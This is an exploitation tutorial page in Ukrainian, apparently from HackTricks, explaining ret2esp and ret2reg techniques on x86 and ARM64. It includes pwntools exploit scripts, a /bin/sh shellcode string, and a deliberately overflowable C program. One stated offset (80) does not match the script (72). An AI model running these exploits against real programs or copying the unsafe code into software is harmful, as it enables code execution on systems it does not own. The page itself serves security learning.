Ret2esp / Ret2reg
Reading time: 7 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Ret2esp
Оскільки ESP (вказівник стеку) завжди вказує на верхню частину стеку, ця техніка полягає в заміні EIP (вказівник інструкцій) адресою інструкції jmp esp
або call esp
. Таким чином, shellcode розміщується безпосередньо після переписаного EIP. Коли виконується інструкція ret
, ESP вказує на наступну адресу, точно там, де зберігається shellcode.
Якщо Randomization of Address Space Layout (ASLR) не активовано в Windows або Linux, можна використовувати інструкції jmp esp
або call esp
, знайдені в спільних бібліотеках. Однак, з активним ASLR, можливо, доведеться шукати ці інструкції безпосередньо в уразливій програмі (і вам, можливо, потрібно буде подолати PIE).
Більше того, можливість розмістити shellcode після корупції EIP, а не посередині стеку, забезпечує, що будь-які інструкції push
або pop
, виконувані під час роботи функції, не заважатимуть shellcode. Це завада може статися, якщо shellcode буде розміщено посередині стеку функції.
Нестача місця
Якщо у вас недостатньо місця для запису після переписування RIP (можливо, лише кілька байтів), напишіть початковий shellcode jmp
як:
sub rsp, 0x30
jmp rsp
І напишіть shellcode на початку стеку.
Приклад
Ви можете знайти приклад цієї техніки в https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp з фінальним експлойтом, як:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
jmp_rsp = next(elf.search(asm('jmp rsp')))
payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
''')
pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()
Ви можете побачити ще один приклад цієї техніки в https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html. Існує переповнення буфера без увімкненого NX, використовується гаджет для зменшення адреси $esp
і потім jmp esp;
для переходу до shellcode:
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *
# Establish the target process
target = process('./b0verflow')
#gdb.attach(target, gdbscript = 'b *0x080485a0')
# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
# Establish our rop gadgets
# 0x08048504 : jmp esp
jmpEsp = p32(0x08048504)
# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32(0x80484fd)
# Make the payload
payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget
# Send our payload
target.sendline(payload)
# Drop to an interactive shell
target.interactive()
Ret2reg
Аналогічно, якщо ми знаємо, що функція повертає адресу, де зберігається shellcode, ми можемо використовувати інструкції call eax
або jmp eax
(відомі як техніка ret2eax), що пропонує ще один спосіб виконати наш shellcode. Так само, як eax, будь-який інший регістр, що містить цікаву адресу, може бути використаний (ret2reg).
Приклад
Ви можете знайти деякі приклади тут:
- https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg
- https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c
strcpy
зберігатиме вeax
адресу буфера, де зберігався shellcode, іeax
не перезаписується, тому можливо використовуватиret2eax
.
ARM64
Ret2sp
В ARM64 немає інструкцій, які дозволяють перейти до регістру SP. Можливо, можна знайти гаджет, який переміщує sp до регістру, а потім переходить до цього регістру, але в libc моєї kali я не зміг знайти жодного такого гаджета:
for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done
Єдині, які я виявив, змінювали значення реєстру, куди sp був скопійований перед переходом до нього (тому він ставав марним):
.png)
Ret2reg
Якщо реєстр має цікаву адресу, можна перейти до нього, просто знайшовши відповідну інструкцію. Ви можете використовувати щось на кшталт:
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
В ARM64, це x0
зберігає значення повернення функції, тому може бути, що x0 зберігає адресу буфера, контрольованого користувачем, з shellcode для виконання.
Example code:
// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack
#include <stdio.h>
#include <string.h>
void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
}
char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}
int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
}
Перевіряючи дизасемблювання функції, можна побачити, що адреса буфера (вразливого до bof і контрольованого користувачем) зберігається в x0
перед поверненням з переповнення буфера:
.png)
Також можна знайти гаджет br x0
у функції do_stuff
:
.png)
Ми використаємо цей гаджет, щоб стрибнути до нього, оскільки бінарний файл скомпільований БЕЗ PIE. Використовуючи шаблон, можна побачити, що зсув переповнення буфера становить 80, тому експлойт буде:
from pwn import *
p = process('./ret2x0')
elf = context.binary = ELF('./ret2x0')
stack_offset = 72
shellcode = asm(shellcraft.sh())
br_x0 = p64(0x4006a0) # Addr of: br x0;
payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0
p.sendline(payload)
p.interactive()
warning
Якщо замість fgets
використовувати щось на кшталт read
, можна було б обійти PIE, перезаписавши лише останні 2 байти адреси повернення, щоб повернутися до інструкції br x0;
без необхідності знати повну адресу.
З fgets
це не працює, оскільки додає нульовий байт (0x00) в кінці.
Захист
- NX: Якщо стек не є виконуваним, це не допоможе, оскільки нам потрібно помістити shellcode в стек і перейти до його виконання.
- ASLR & PIE: Це може ускладнити пошук інструкції для переходу до esp або будь-якого іншого регістру.
Посилання
- https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode
- https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.